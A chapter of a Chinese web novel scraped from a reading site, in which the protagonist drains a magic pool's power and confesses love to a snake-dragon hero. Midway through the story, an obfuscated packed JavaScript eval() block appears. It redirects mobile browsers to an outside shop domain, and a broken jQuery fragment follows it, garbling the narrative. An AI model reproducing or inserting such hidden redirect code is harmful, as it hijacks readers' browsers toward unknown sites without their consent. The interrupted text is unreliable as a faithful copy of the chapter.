文趣网 > 其他小说 > 我为神龙献出心脏 > 2. 落天见云逢彩虹(二)
    曲云伽盯了业无障片刻,确认这人是诚心悔过后,终于松开了尾尖。

    业无障直直坠入池中央。

    重力迫使业无障沉入池底,他憋着气,勉强睁开了眼,入目的,是池底闪着微光的巨大石块。

    业无障在水中困惑蹙眉。

    原文可没写到这个,难道这就是池水能治疗伤口的奥秘?

    他思索间,忍不住伸出手,去触碰那巨石。

    触碰到石头的一瞬间,一股巨大的灵力涌来,直接将业无障冲击得晕厥。

    同时,水面上的曲云伽也意识到了不对。

    在灵力暴乱的一瞬间,化作人形冲入池中,在杂乱的灵力场中稳稳抱住了失去知觉的业无障。

    因为骤然爆发的灵力直接将业无障唯一的衣物冲击粉碎,所以曲云伽毫无准备地触碰到了温热细腻的肌肤。

    他脸色微变,压下心底翻涌的不适应,带着人往岸边游去。

    业无障醒得很快,曲云伽还没拖着他到岸边,就隐约有了意识。

    感受到腰间冰凉有力的手,业无障的第一反应是,他完全走光了。

    更妙的是,曲云伽抱着走光的自己。

    果真是老天都看好的姻缘,见面就让他同曲云伽坦诚相见。

    曲云伽终于是将人拖到了浅水区,见业无障眼皮半阖,似醒非醒,脸不禁僵了僵。

    此时业无障脑子虽是清醒了一些,但四肢还是软趴趴不听使唤,并且眼前也是迷蒙一片。

    想着依照曲云伽光明磊落的人设,现在措不及防看光了自己,一定很羞涩。

    况且,自己的身体还与常人不同,曲云伽第一次见到自己这样的人,肯定觉得怪异。

    业无障非常贴心,主动出声打破尴尬:

    “我这样的人很奇怪吧。”

    曲云伽听见这句,也是默了一下,他下意识反问:“为何?什么叫做,奇怪?”

    业无障愣住。

    此时,他的四肢终于有了点力气。

    他下意识并起腿,呆滞的眨了几下眼后,从池中艰难的坐了起来。眼前还是看不清,他只能依稀看见曲云伽人形的轮廓。

    “你不懂‘奇怪’的含义?”业无障声音有些轻。

    曲云伽坦然:“不懂。”

    业无障只好解释:“……与我的大多数同类不一样,超出了固有的认知,不再普通,就是奇怪。”

    作为一名高中生,他解释词语的能力实在有限。

    不过单从曲云伽贫乏的词汇量来看,他的七个老师,光记着给他铺飞升路了,没怎么给他上过文化课。

    曲云伽照自己的理解思索几秒后,一字一句道:“‘奇怪’是一个形容词,类似于‘漂亮’、‘好看’。”

    “与大多数人不一样的‘好看’,超过普通人认知的‘漂亮’,就是‘奇怪’。”

    如此一番话,倒让业无障完全的茫然无措了。

    其实,业无障之所以会如此迷恋曲云伽这个书中角色,不单单是因为,曲云伽的外貌外设合他心意。

    这不得不说回《神器》这本书的基础设定。

    两位主角所在的泛尘空间是有神存在的,一共七位,各司其职,管辖整个空间。

    虽然大多数人并不依附七位神存活,但七神在整个泛尘空间的地位是至高无上的,因为,神总是会在危难时刻出现,救世渡人。

    泛尘空间的百姓常常念叨一句话:幸福时不忘感念神,危难时神才会降临。

    而两位主角,也与神息息相关。

    曲云伽是七神钦定的天选之子。

    被称为神赐之水的落天池,洗涤了小白蛇曲云伽千万年后,终于使其开智化形。七神见白蛇有灵,便有了培养的念头,于是他们轮番入世,教导曲云伽。

    又经过了几百年,曲云伽在七神的悉心教导下,即将化龙。

    七神很是欣慰,于是决定让曲云伽历一劫难。只要过了这一劫,曲云伽不仅能一跃成龙,还能获得神位,成为泛尘空间第八位神。

    而这劫难,就是收集散落在泛尘空间的七个神器。

    这也是此书名,《神器》的由来。

    可神器非一般凡人所能制服,其中力量不仅浩瀚,还阴阳俱全,曲云伽有收服神器的能力,却不具备收容神器的条件。

    神器阴阳杂糅,只有天生阴阳俱全的人,也就是双性之体,能作为收容神器的“匣子”。

    原文的詹灵淳,是七神选定的神匣。

    可收复神器谈何容易?虽然身怀神器的各方势力都接到了神器需收回的神谕,但大多都还是不愿配合。

    一路上,灵力有限的曲云伽不仅要同这些势力对抗,还要保护手无缚鸡之力的詹灵淳,甚至还去拯救一番受苦受难的民众,几度陷入绝境,又死里逃生。

    可即便如此,曲云伽最看重的,也不是自己能不能成功飞升,而是天下苍生。

    他简直就是业无障心目中正道英雄的具象化。

    业无障看书时,几乎控制不住的幻想:如果现实中真的有这样的人那该有多好,如果他能遇见这样的人,那该有多好。

    毕竟,业无障在现实中,从未接触过,如此纯粹的正义。

    “畸形”二字,导致业无障几乎是被恶意浇灌着长大。

    爹不疼娘不敢爱的业无障,在短短十九年的人生中,遇到过无数贬低他、厌恶他、欺辱他的人。

    剩下没有用异样目光看他的,也全是冷眼旁观。

    业无障从未遇到过,曲云伽这般的人。

    他看着自己畸形怪异的身体,认真告诉自己,他的身体是“与大多数人不一样的‘好看’,超过普通人认知的‘漂亮’”。

    曲云伽。

    一个在认知中就对他没有半分恶意的人,一个骨子里不觉得他“奇怪”的人,一个根本不会用异样目光审视他的人。

    此刻,业无障心中涌起了荒谬的冲动。

    他必须要像抓住救命稻草一样,死死抓住,曲云伽。他要曲云伽永远用这么纯粹的目光看待自己。他想要,曲云伽。

    犹如涸辙之鱼,唯盼斗升之水。

    “你怎么了?”见业无障久久不语,曲云伽关切询问。

    业无障马上没出声,他现在还是看不清眼前的人,可却满眸执拗地,死盯那个模糊的身影。

    良久,心中激荡的情绪终于喷薄:

    “我好像……对你一见钟情了。”

    曲云伽拧眉,虽然他学会人言不久,但也不至于不理解这句话的意思。

    业无障露出笑,语气随意却又透着冥顽:“我是认真的。”

    曲云伽:……

    业无障自觉自己的表白很合理,毕竟他常听同桌说,“爱情来得太快就像龙卷风”。

    所以,曲云伽这条“龙”卷了他一下,他就疯狂地爱上了这条“龙”,非常的合理。

    而曲云伽本蛇,则暂时不想回应业无障突如其来的感情,他现在有更重要的事情要问:“你刚才在池底做了什么?”

    业无障眨眨眼,一脸无辜地回答:“我什么都没做,只是不小心碰到了池底那块石头,就晕了。”

    没错,不小心,才不是故意的。

    曲云伽闻言,神色愈发严峻,一言不发,他盯了业无障一会儿,又颇不自然的移开目光。毕竟业无障现在看起来……不太端庄。

    业无障略显单薄的胸膛在池水中微微起伏,羽睫尾端在过分湿润中凝出水滴,随着他眼皮轻颤,水滴落入池中,荡出一圈圈涟漪。

    妖颜惑骨,玉立修姿。

    银白发丝在清透的池水飘荡,衬得这本就秾丽的人,更是糜艳得,宛若摄魂精怪。

    业无障现在没功夫想自己的身姿如何诱人,倒不是他不知道自己长得曼妙,而是,他有些心虚。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674180|207415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好吧,是非常心虚。

    因为他体内现在……除了有那些针对曲云伽的澎湃情感,还有很多很多很多……的,灵力。

    他好像,把整个池子的灵力,都吸干净了。

    一点不剩。

    业无障越想越心虚。

    要知道,落天池不仅是曲云伽的老家,还是他灵力的来源。

    曲云伽能修炼到如今水平,全靠这饱含灵力的奇妙池水。

    照原书的设定,在整个泛尘空间里,只有曲云伽一条蛇能吸收这池水中的灵力,并且还不能吸收得很快,泡了近万年,才勉强摸到化龙的门槛。

    结果业无障只是碰了一下那颗石头,灵力嗖一下就全进他身体了。

    虽然有些后遗症,但从业无障越来越清晰的视野来讲,后遗症很轻了。

    “罢了。”

    曲云伽不敢看业无障,于是遍看向再无灵气的落天池。

    他叹出一口气,道:“不破不立,如此也没了后路,只能向前了。”

    业无障夸赞:“有文采,很豁达。”

    是他小看曲云伽了,这蛇显然还是上过文化课的。

    曲云伽:“……哼。”

    听见这声冷哼,业无障才知道,这蛇不是不气,而是没招了,只能接受现实。

    还怪可爱的。

    曲云伽看着业无障一脸无辜,越想越气,干脆甩袖转身,打算去静一静。

    但业无障显然不能给他这个机会,他现在已经能看清近处的事物了,于是一把抓住了曲云伽的衣袖,可怜兮兮地哀求:

    “我没有衣服,你把你的衣服脱给我,好不好?”

    纵使冰清水冷如曲云伽,听到如此冒昧的一句话,也是耳根一热:“你……”

    业无障还能更不要脸:“你要是不脱,我就裸着身子跟着你。”

    曲云伽:……

    见他没动,业无障也不唬人,直接从水中站起。

    业无障刚站了起来,丝滑冰凉的衣服就兜头而来,待他重见光明,曲云伽已经赤着上身套上了新衣服。

    看着曲云伽惊鸿一现的健美背肌,业无障也是眯了眯眼。

    看来,手上这件还真是他贴身的衣服,既如此……

    “既然你还有衣服,为什么不把没穿过的给我?”业无障真诚发问。

    背对着业无障系衣服的曲云伽闻言,动作一顿,凝固在了原地。

    显然曲云伽也是被业无障绕晕了,才会不过脑子,做出如此荒谬行径。

    但哪怕曲云伽现在已经是完全不知所措,业无障还是没放过他。

    他拿着衣服,煞有介事地吸了一口:“真香……”

    说完,业无障脸色绯红的穿上了曲云伽的衣服。

    曲云伽忍无可忍,羞愤转身,怒瞪业无障。

    而恰好,此时的业无障也完全恢复了视力。

    作为泛尘空间唯一靠吸收天地源力修炼的蛇,直至化形,他都没有可参考的化形先例,只得按自己的喜好,捏出了一个人身。

    不过,哪怕只是一个人形躯壳,曲云伽也是非常之讲究,有自己独一套的审美。

    他偏好浅色,所以发丝的色泽沿用鳞片中的通透浅蓝。

    像是飘渺的黛青雾气,又比雾轻薄。说是蓝,发尾又泛着细碎紫色光晕,一头闪着微光的浅色长发倒是美得和那些鳞片不分上下。

    当然,比发丝更夺目的,是那张脸。

    凤眸龙睛,瞳仁是与原形无异的透粉,这样娇嫩的颜色,倒是削弱了眉眼的凌厉,眼尾的朱色又透出了几分蛇性。

    但也只有眉眼泄出一丝妖异了,他的下半张脸尤为正经,薄唇高鼻,颌骨利落,端的是悲天悯人的神性。

    纵使貌美如业无障,被曲云伽这般的天人之姿乍然冲击,也只有一个感受。

    “更爱你了。”

    业无障直抒胸臆。